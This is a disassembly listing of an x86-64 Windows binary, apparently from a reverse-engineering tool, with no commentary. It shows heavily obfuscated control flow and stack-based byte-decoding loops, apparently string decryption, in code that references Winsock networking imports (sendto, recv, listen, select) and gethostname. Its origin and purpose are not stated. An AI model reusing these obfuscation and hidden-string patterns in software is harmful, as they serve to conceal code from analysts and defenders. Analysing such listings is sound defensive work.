add cl, r11b
add dl, cl
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rcx, 0xaa6b83c575303012
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x7e
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rdx, 0xbef2414b0f3fc7c4
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 0x5c
jmp 0x140092a06
movabs rdx, 0xd378fed0a94f5f76
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3a
add dl, cl
jmp 0x140092a3c
movabs rcx, 0xe7ffbc56435ef728
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x18
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
movabs rcx, 0x1b5096244485f265
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x3d
mov byte [rbp + rbx + 0x7f8], dl
inc rbx
jmp 0x140091dd2
movabs rdx, 0x2fd753a9de958a17
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x5f
add dl, cl
cmp r8, 0xa
jb 0x14009228a
movabs rdx, 0xe9283e624ee4c78a
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_30
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
lea edx, [rcx + rcx]
jmp 0x1400928f3
movabs rcx, 0x445e112f78a521c9
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x7f
cmp r9, 5
jae 0x1400927d1
lea rax, [r8 + 9]
cmp r9, rax
jbe 0x1400926e6
movabs rdx, 0xb66ba59a5380b47e
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x72
jmp 0x1400922b7
movabs rdx, 0x58e4ceb512b4b97b
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x5d
add dl, cl
lea rax, [r8 + r9]
cmp rax, 1
je 0x1400927fc
lea rax, [r8 + 4]
cmp r9, rax
jbe 0x1400925ef
movabs rcx, 0x8df26b9525246d4b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0xd
jmp 0x140092306
movabs rcx, 0xf2d75c1f1629ab32
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x5e
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
movabs rdx, 0x75e19a4b03942e4
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub dl, 0x3c
add dl, cl
jmp 0x140092a3c
movabs rdx, 0x1be4d72a4a48da96
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 0x1a
jmp 0x140092a06
movabs rdx, 0x306b94afe4587248
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 4
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x44f252357e6809fa
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_setsockopt
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x59790fbb1877a1ac
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, Ordinal_41
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140092970
movabs rdx, 0x6dffcd40b287395e
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, gethostname
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
dec rbx
inc rbx
jmp 0x140091dd2
movabs rcx, 0x82868ac64c96d110
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x70
inc r8
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x970d484be6a668c2
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x4e
jmp 0x1400928e9
lea rax, [r8 + 3]
cmp r9, rax
jae 0x140092543
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
sub dl, 0x11
jmp 0x140092360
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140092583
movabs rdx, 0x50f2740a5cb88e66
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WLDAP32.dll_Ordinal_27
sub cl, al
add cl, cl
add cl, r11b
add dl, cl
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
lea rax, [r8 + 2]
cmp r9, rax
jne 0x1400925af
movabs rdx, 0x27e4f8ff28995f02
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
sub dl, 0xe
jmp 0x140092a06
lea rax, [r8 + 3]
cmp r9, rax
jne 0x140092360
movabs rcx, 0x135e3b798e89c750
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x30
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140092617
movabs rdx, 0x796bae0f8b14d599
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x2f
jmp 0x1400928e9
lea rax, [r8 + 3]
cmp r9, rax
jne 0x14009264e
movabs rcx, 0x505e330456f5a635
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x73
dec rbx
inc rbx
jmp 0x140091dd2
lea rax, [r8 + 4]
cmp r9, rax
jne 0x14009267e
movabs rdx, 0x3bd7757ebce60e83
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x6b
jmp 0x140092970
lea rax, [r8 + 5]
cmp r9, rax
jne 0x1400926ba
movabs rcx, 0x12c9fa7388c6df1f
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x27
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x140092306
movabs rdx, 0xfe433cedeeb7476d
add rdx, rbx
movzx eax, r11b
and al, dl
movzx ecx, r11b
add dl, 5
jmp 0x140092a06
lea rax, [r8 + 1]
cmp r9, rax
jne 0x140092726
movabs rdx, 0xa1e4e814b9711ccc
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, gethostname
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
inc rax
cmp r9, rax
jne 0x140092756
movabs rdx, 0x78d76d098551ed68
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, reloc.WS2_32.dll_sendto
sub cl, al
add cl, cl
add cl, r11b
jmp 0x140092a0a
lea rax, [r8 + 5]
cmp r9, rax
jne 0x140092795
movabs rcx, 0x4fc9f1fe5132be04
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x1c
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
lea rax, [r8 + 7]
cmp r9, rax
jne 0x1400922b9
movabs rdx, 0x1235b96d8303f6ee
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x3f
sub cl, al
add cl, cl
add dl, cl
add dl, r11b
inc r8
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0xd4a180dcb4d52fd8
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, recv
sub cl, al
add cl, cl
add cl, byte [rbp + rbx + 0x7f8]
add cl, r11b
jmp 0x140092970
movabs rdx, 0xc01ac3571ac59826
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
sub cl, byte [rbp + rbx + 0x7f8]
sub dl, 0xa
jmp 0x140092a0a
movabs rcx, 0x6fbc9052c3cff1f1
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x69
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
movabs rcx, 0xad50c8e391feb907
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x31
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rcx, 0xeae50174602d801d
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x35
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x13f27c7f944caf81
add rdx, rbx
movzx eax, r11b
and al, dl
add dl, 0x79
jmp 0x1400928e9
movabs rdx, 0x3cfff78ac86bdee5
add rdx, rbx
movzx eax, r11b
and al, dl
sub dl, 0x43
add al, al
movzx ecx, r11b
sub cl, al
add dl, cl
movabs rcx, 0xdee4df9f81dcfbb1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x29
add cl, r11b
mov byte [rbp + rbx + 0x7f8], cl
inc r8
dec rbx
inc rbx
jmp 0x140091dd2
movabs rcx, 0x5186b510627b7697
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
sub dl, 0x21
inc r8
dec rbx
inc rbx
jmp 0x140091dd2
movabs rdx, 0x7a94301b969aa5fb
add rdx, rbx
movzx eax, r11b
and al, dl
add al, al
movzx ecx, r11b
sub cl, al
add dl, 0x23
add dl, cl
movabs rcx, 0xca5e2219e7cd63ff
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
add r11b, 7
add r11b, dl
add r11b, cl
mov byte [rbp + rbx + 0x7f8], r11b
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
movabs rcx, 0x8f1aeda130aa3dad
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x45
add r9, r8
movzx eax, dl
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140091dd2
mov r11, r10
movabs rdx, 0xb82868ac64c96d11
add rdx, rbx
movzx eax, dl
and al, r10b
movzx ecx, r10b
sub dl, 0x77
add al, al
sub cl, al
add dl, cl
movabs rcx, 0xb5d764944dbdcc4d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x1b
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x7f8], al
inc r8
add rax, r8
sub rbx, rax
movabs rcx, 0xab9405d180b60074
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, 0x2c
add cl, r11b
mov byte [rbp + rbx + 0x7f8], cl
inc r9
mov rax, r12
sub rax, r9
add rbx, rax
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
movabs rcx, 0xe135e3b798e89c75
add rcx, rbx
movzx eax, r10b
and al, cl
add al, al
sub cl, al
lea edx, [r10 + rcx]
sub dl, 0x33
movzx eax, byte [rbp + rbx + 0x7f8]
add rax, r8
add rbx, rax
inc rbx
jmp 0x140091dd2
movabs rcx, 0xaaffc4cb7af31843
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea edx, [r11 + rcx]
add dl, 0x2b
jmp 0x140091dd0
movabs rcx, 0xbf8682511502aff5
add rcx, rbx
movzx eax, r11b
and al, cl
add al, al
sub r11b, al
lea edx, [rcx + r11]
add dl, 0x4d
jmp 0x140091dc0
lea rcx, [rbp + 0x143122c]
jmp 0x140092b1c
lea rcx, [rbp + 0xbb4653]
jmp 0x140092b1c
lea rcx, [rbp + 0x7f8]
mov rdx, rdi
call fcn.140035c60
lea rdx, [0x140225ed0]
lea rcx, [rbp + 0x1a8]
call fcn.140002680
mov rdi, rax
mov qword [rsp + 0x48], rax
mov r8, rax
lea rdx, [rbp + 0x58]
mov rcx, qword [0x14022c170]
call fcn.14006bfb0
mov rbx, qword [rax]
mov rcx, rdi
call fcn.140002820
lea rcx, [rbx + 0x30]
call fcn.14006b1d0
mov rdi, rax
mov byte [rbp + 0x820], 0xf2
mov byte [rbp + 0x821], __WSAFDIsSet
mov byte [rbp + 0x822], Ordinal_143
mov byte [rbp + 0x823], reloc.WLDAP32.dll_Ordinal_143
mov byte [rbp + 0x824], 0x99
mov byte [rbp + 0x825], __WSAFDIsSet
mov byte [rbp + 0x826], 0x99
mov byte [rbp + 0x827], 0x98
mov byte [rbp + 0x828], 0xde
mov byte [rbp + 0x829], Ordinal_211
mov byte [rbp + 0x82a], 0xa3
mov byte [rbp + 0x82b], 0xa1
mov byte [rbp + 0x82c], 0xa5
mov byte [rbp + 0x82d], 0xa9
mov byte [rbp + 0x82e], 0xb1
mov byte [rbp + 0x82f], 7
xorps xmm0, xmm0
xor eax, eax
movups xmmword [rbp + 0x830], xmm0
mov word [rbp + 0x840], ax
mov byte [rbp + 0x842], al
movabs rsi, 0x23c6aef520ba8923
movabs r13, 0xac5ecb61018efa57
movabs r14, 0x97786dabd8a1ed3d
movabs r15, 0x3ebad6e9d583f88f
movzx r10d, byte [rsp + 0x40]
mov r8, qword [0x14022c4b8]
mov r9, qword [0x14022c4b0]
nop
xor ebx, ebx
cmp rbx, 0x23
jae 0x140093a0d
movzx r11d, byte [rbp + rbx + 0x820]
mov rdx, r11
nop dword [rax + rax]
cmp r8, rbx
ja 0x140093a01
lea rax, [r9 + 1]
cmp r8, rax
jae 0x140092c80
lea rcx, [rbx + r13]
mov rax, rdx
and rax, rcx
imul r10, rax, 0xfffffffffffffffe
add r10, rdx
add r10, rcx
sub r10b, 0x61
jmp 0x140092cc0
je 0x140093979
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093946
lea rax, [r9 + 6]
cmp r8, rax
je 0x1400938e5
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400938bb
lea rax, [r9 + 9]
cmp r8, rax
je 0x14009386a
nop word [rax + rax]
cmp r9, rbx
ja 0x1400939f5
lea rax, [r9 + 0x40]
cmp r8, rax
jae 0x140092cee
lea rcx, [rbx + rsi]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xb
jmp 0x140092d30
lea rcx, [r9 + 1]
cmp r8, rcx
je 0x140093846
lea rax, [r9 + 2]
cmp r8, rax
je 0x14009381c
lea rax, [rcx + 1]
cmp r8, rax
je 0x1400937f8
lea rax, [r9 + 3]
cmp r8, rax
je 0x1400937c1
lea rax, [r9 + 8]
cmp r8, rax
je 0x14009378c
nop
lea rax, [r9 + r8]
cmp rax, rbx
jbe 0x1400932f5
nop dword [rax]
lea rax, [r9 + 8]
cmp r8, rax
je 0x1400932cc
lea rax, [r9 + 0x40]
cmp r8, rax
je 0x14009329f
lea rax, [r9 + 3]
cmp r8, rax
je 0x140093275
lea rax, [r9 + 0xa]
cmp r8, rax
je 0x14009324c
lea rax, [r9 + 0x64]
cmp r8, rax
je 0x140093210
lea rax, [r9 + 5]
cmp r8, rax
je 0x1400931dc
lea rax, [r9 + 0x20]
cmp r8, rax
je 0x1400931b8
lea rax, [r9 + 0x200]
cmp r8, rax
je 0x14009318f
lea r8, [r9 + 9]
lea r9, [r8 + 0x400]
lea rax, [r9 + 0x42]
cmp r8, rax
jb 0x1400939d1
lea rax, [r9 + 0x1000]
cmp r8, rax
jb 0x1400939ad
lea rax, [r9 + 0x10]
cmp r8, rax
jb 0x140092eec
lea rax, [r9 + 0x80]
cmp r8, rax
jb 0x140092ed1
lea rax, [r9 + 0x7a]
cmp r8, rax
jb 0x140092eb6
lea rax, [r9 + 0x28]
cmp r8, rax
jb 0x140093131
lea rax, [r9 + 0x3e8]
cmp r8, rax
jb 0x1400930d7
lea rax, [r9 + 0x5a]
cmp r8, rax
jb 0x140093087
lea r8, [r9 + 0x64]
lea r9, [r8 + 1]
lea rax, [r9 + 0x61]
cmp r8, rax
ja 0x14009304d
lea rax, [r9 + 0x20]
cmp r8, rax
ja 0x140093029
lea rax, [r9 + 0x200]
cmp r8, rax
ja 0x140093005
lea rax, [r9 + 0x41]
cmp r8, rax
ja 0x140092fcc
lea rax, [r9 + 0x40]
cmp r8, rax
ja 0x140092f90
lea rax, [r9 + 0x400]
cmp r8, rax
ja 0x140092f6c
lea rax, [r9 + 0x2a]
cmp r8, rax
ja 0x140092f42
lea rax, [r9 + 0x64]
cmp r8, rax
ja 0x140092f10
lea rax, [r9 + 2]
cmp r8, rax
ja 0x140092d40
lea r8, [r9 + 0x7a]
lea r9, [r8 + 0x200]
jmp 0x140092d40
lea rcx, [rbx + r14]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x55
jmp 0x140092d30
lea rcx, [rbx + r15]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x17
jmp 0x140092cc0
movabs rcx, 0xe5fd4027d26603e1
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x27
jmp 0x140092c45
movabs rdx, 0xc577e0e702b6546a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
inc r9
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0x6cba4a24ff985fbc
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x24
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0x13fcb362fc7a6b0e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x62
jmp 0x140093904
movabs rdx, 0xbb3f1ca0f95c7660
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_50
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rdx, 0x628185def63e81b2
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_recvfrom
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rcx, 0x9c3ef1cf3208d04
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1c
jmp 0x140093712
movabs rcx, 0xb106585af0029856
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x5a
jmp 0x140093742
movabs rdx, 0x5848c198ece4a3a8
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 0x34
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092c32
movabs rcx, 0xa1b131f1e1fbcb47
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0xf
cmp r9, 0x5a
jb 0x1400936ac
movabs rcx, 0xadc508a69ef7beaa
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, r11b
lea r10d, [rcx*2 - 0x4c]
jmp 0x140093889
movabs rcx, 0x48f39b2fdeddd699
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2f
cmp r8, 9
jae 0x1400936bc
lea rax, [r9 + 3]
cmp r8, rax
jbe 0x140093582
movabs rcx, 0x365d25127fcc2fde
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x12
jmp 0x1400930a6
movabs rcx, 0xf036046ddbbfe1eb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6d
lea rax, [r9 + r8]
cmp rax, 1
je 0x1400936ec
lea rax, [r9 + 0x61]
cmp r8, rax
jbe 0x140093478
movabs rcx, 0x1296761d5f11a6bb
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x1d
jmp 0x1400930f6
movabs rdx, 0x7dea82fcc1414224
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 2
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093742
movabs rcx, 0x252cec3abe234d76
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x3a
jmp 0x140093712
movabs rcx, 0xcc6f5578bb0558c8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x78
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rdx, 0x73b1beb6b7e7641a
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
movabs rdx, 0x1af427f4b4c96f6c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 6
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093904
movabs rcx, 0xc2369132b1ab7abe
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x32
dec rbx
inc rbx
jmp 0x140092c32
movabs rcx, 0x6978fa70ae8d8610
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x70
inc r9
dec rbx
inc rbx
jmp 0x140092c32
movabs rdx, 0x10bb63aeab6f9162
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093889
lea rax, [r9 + 0x2a]
cmp r8, rax
jae 0x14009331d
lea rcx, [rbx + r13]
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x61
jmp 0x140093150
lea rax, [r9 + 1]
cmp r8, rax
jne 0x140093360
movabs rdx, 0x478d5dea41751246
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, listen
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092c32
inc rax
cmp r8, rax
jne 0x140093395
movabs rdx, 0xa04af4ac449306f4
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_45
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093742
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400933c6
movabs rcx, 0xf9088b6e47b0fba2
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6e
jmp 0x140093712
lea rax, [r9 + 4]
cmp r8, rax
jne 0x14009340b
movabs rdx, 0xaa83b8f24dece4fe
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, 7
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140093441
movabs rdx, 0x3414fb4510ad9ac
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, Ordinal_41
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
jmp 0x140093904
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140093150
movabs rcx, 0x5bfee6765428ce5a
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x76
dec rbx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 1]
cmp r8, rax
jne 0x1400934a9
movabs rcx, 0x6b540cdf622f9b69
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x21
jmp 0x140093889
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400934e0
movabs rcx, 0x1ccf3a63686b84c5
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x63
dec rbx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 5]
cmp r8, rax
jne 0x140093520
movabs rcx, 0xce4a67e76ea76e21
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
add r10b, 0x19
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 7]
cmp r8, rax
jne 0x140093551
movabs rcx, 0x7fc5956b74e3577d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x6b
jmp 0x140093712
lea rax, [r9 + 2]
cmp r8, rax
jne 0x1400930f6
movabs rcx, 0xd8832c2d78014c2b
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x2d
jmp 0x140093742
lea rcx, [r9 + 1]
cmp r8, rcx
jne 0x1400935c5
movabs rdx, 0x8f1abbd482ea248c
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WLDAP32.dll_Ordinal_22
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
inc rbx
jmp 0x140092c32
lea rax, [r9 + 3]
cmp r8, rax
jne 0x1400935f6
movabs rcx, 0x4095e95889260de8
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x58
jmp 0x140093712
lea rax, [rcx + 1]
cmp r8, rax
jne 0x14009363b
movabs rdx, 0xf21116dc8f61f744
add rdx, rbx
movzx eax, dl
and al, r11b
mov ecx, reloc.WS2_32.dll_select
sub cl, al
lea r10d, [rcx + rcx]
add r10b, dl
add r10b, r11b
add r8, r9
movzx eax, r10b
mov rcx, r12
sub rcx, rax
add rbx, rcx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 2]
cmp r8, rax
jne 0x140093672
movabs rcx, 0xa38c4460959de0a0
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x60
dec rbx
inc rbx
jmp 0x140092c32
lea rax, [r9 + 4]
cmp r8, rax
jne 0x1400930a6
movabs rcx, 0xfc49db2298bbd54e
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
lea r10d, [r11 + rcx]
sub r10b, 0x22
inc r9
dec rbx
inc rbx
jmp 0x140092c32
mov byte [rbp + rbx + 0x820], r10b
inc rbx
jmp 0x140092c32
movabs rdx, 0x6829f68a215b358
add rdx, rbx
movzx eax, dl
and al, r11b
add al, al
movzx r10d, byte [rbp + rbx + 0x820]
sub r10b, al
sub r10b, 0x68
add r10b, dl
add r10b, r11b
jmp 0x140093904
movabs rcx, 0x5f40362aa533a806
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
sub cl, byte [rbp + rbx + 0x820]
lea r10d, [r11 + rcx]
sub r10b, 0x2a
movabs rcx, 0xb9f018ba6c2a25d
add rcx, rbx
movzx eax, cl
and al, r11b
add al, al
sub cl, al
add cl, 0x75
add cl, r11b
movzx eax, cl
mov byte [rbp + rbx + 0x820], al
inc r9
add rax, r9
sub rbx, rax
movabs rdx, 0xb7fdcceca8519cb4
add rdx, rbx
movzx eax, r11b
and al, dl
mov ecx, 0xa
sub cl, al
add cl, cl
add cl, r11b
add cl, dl
mov byte [rbp + rbx + 0x820], cl
inc r8
mov rax, r12
sub rax, r8
add rbx, rax
movzx eax, byte [rbp + rbx + 0x820]
add rax, r9
add rbx, rax
